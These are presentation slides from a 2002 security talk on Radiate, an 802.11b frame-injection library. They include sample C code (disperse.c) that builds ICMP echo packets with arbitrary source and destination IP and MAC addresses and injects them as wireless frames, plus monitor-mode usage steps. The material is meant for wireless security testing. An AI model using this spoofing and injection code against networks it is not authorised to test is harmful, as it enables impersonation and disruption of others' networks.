disperse.c, Command Line Argument Parsing case 'b': /* destination MAC address */ dp->bssid = libnet_hex_aton(optarg, &unused); break; case 'D': /* destination IP address */ if (!(dp->dst_ip = libnet_name2addr4(dp->l, optarg, LIBNET_RESOLVE))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); return (EXIT_FAILURE); } break; case 'd': /* destination MAC address */ dp->dst_mac = libnet_hex_aton(optarg, &unused); break; case 'S': /* source IP address */ if (!(dp->src_ip = libnet_name2addr4(dp->l, optarg, LIBNET_RESOLVE))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); return (EXIT_FAILURE); } break; case 's': /* source MAC address */ dp->src_mac = libnet_hex_aton(optarg, &unused); break;
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, Radiate Initialization
if (dp->src_mac == NULL || dp->dst_mac == NULL || dp->bssid == NULL || dp->src_ip == 0 || dp->dst_ip == 0) { usage(argv[0]); return (EXIT_FAILURE); }
/* get our radiate context */ dp->r = radiate_init(0, err_buf); if (dp->r == NULL) { fprintf(stderr, "radiate_init(): %s", err_buf); return (EXIT_FAILURE); }
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, ICMP ECHO Packet Construction ptag = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x0600, /* id */ 0x0e00, /* sequence number */ NULL, /* payload */ 0, /* payload size */ dp->l, /* libnet context */ 0); if (ptag == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(dp->l)); return (EXIT_FAILURE); }
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, IP Packet Construction ptag = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* length */ 0, /* TOS */ 0xfe, /* IP ID */ 0, /* IP Frag */ 128, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ dp->src_ip, /* source IP */ dp->dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ dp->l, /* libnet context */ 0); if (ptag == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(dp->l)); return (EXIT_FAILURE); }
if (libnet_toggle_checksum(dp->l, ptag, LIBNET_ON) == -1) { fprintf(stderr, "Can't toggle checksum flag on for IP header %s\n", libnet_geterror(dp->l)); return (EXIT_FAILURE); }
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, 802.11b Data Frame Creation
ip_packet = NULL; ip_packet_s = 0; libnet_adv_cull_packet(dp->l, &ip_packet, &ip_packet_s);
/* build the payload */ payload_s = LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + LIBNET_802_2SNAP_H; payload = malloc(payload_s); if (payload == NULL) { fprintf(stderr, "malloc() %s\n", strerror(errno)); return (EXIT_FAILURE); }
memcpy(payload, llc_snap, LIBNET_802_2SNAP_H); memcpy(payload + LIBNET_802_2SNAP_H, ip_packet, ip_packet_s);
dp->frame = radiate_build_data_frame( dp->bssid, /* BSSID */ dp->dst_mac, /* destination MAC */ dp->src_mac, /* source MAC */ RADIATE_DATA_STYPE_DATA, /* frame subtype */ RADIATE_CTRL_TODS, /* frame control */ payload, /* payload */ payload_s, /* payload size */ dp->r); /* radiate context */
© 2 0 0 2 @ S T A K E , I N C .
disperse.c, 802.11 Frame Injection
c = radiate_write(dp->frame, sizeof (struct hfa384x_tx_frame) + LIBNET_802_2SNAP_H + ip_packet_s, dp->r); if (c == -1) { fprintf(stderr, "radiate_write(): %s", radiate_geterror(dp->r)); } else { fprintf(stderr, "radiate_write(): wrote %d bytes\n", c); } free(dp->frame);
/* reset the card, which works half the time */ do_ioctl("0", dp->r); do_ioctl("1", dp->r); radiate_destroy(dp->r);
© 2 0 0 2 @ S T A K E , I N C .
Typical Radiate Program Usage
1. Make sure the library is built and installed. Duh.
2. Pop your Prism-2 card in… Wait for the DooDeet.
• If you don’t hear a DooDeet there is a driver / PCMCIA issue. But you’re very smart so figuring it out will be a snap!
3. Put the card into monitor mode:
• mkultra:~/Libradiate-0.2/scripts# ./set_monitor 1
4. Set the channel you want to do your work on:
• mkultra:~/Libradiate-0.2/scripts# ./set_channel 11
5. Do it up!
• mkultra:~/Code/802.11/Tools/Omerta# ./omerta
© 2 0 0 2 @ S T A K E , I N C .
The Warez
• You don’t get Omerta
• You do get Radiate (along with disperse):
• http://www.packetfactory.net/Radiate
© 2 0 0 2 @ S T A K E , I N C .
13db Gain Directional
© 2 0 0 2 @ S T A K E , I N C .
Known Issues
• We’re at the mercy of the firmware…
• Problems with sending certain frames
• To send data frames with the TO_DS bit set requires the module to be recompiled with -DPRISM2_MONITOR_PACKET_INJECT
• Can’t sniff frames when driver is built in this mode
• Would be nice if we could make the card act as a passive radio
• Driver tends to crash or fail when card is removed and reseated frequently
• We need a logo
© 2 0 0 2 @ S T A K E , I N C .
Futures
• This is pretty rough – we need a lot of code cleanup
• Buffer management (pblocks?)
• Possible API change to accommodate different layer 1 interfaces
• We’ll support additional cards
• Current issues with Prism-2 cards might go away
• Did someone say Libnet Merger? Could be!
© 2 0 0 2 @ S T A K E , I N C .
Summary
• The need exists to be able to develop arbitrary tools to test 802.11 networks for anomalous events such as Byzantine failure susceptibility
• Radiate is a toolkit that allows the application programmer to develop tools to test for 802.11b security issues
• Extra Special thanks to Timothy “The Newsh” Newsham
© 2 0 0 2 @ S T A K E , I N C .
Building Open Source Network Security Tools
• Simple C library; A “component”
• Upon which techniques are built
• From which tools are created
• New book on how to rapidly develop your own network security tools
• New paradigm for describing a network security tool; accelerates conceptualization and development
• Wiley & Sons
• Due out in October 2002
© 2 0 0 2 @ S T A K E , I N C .
Questions? [email protected]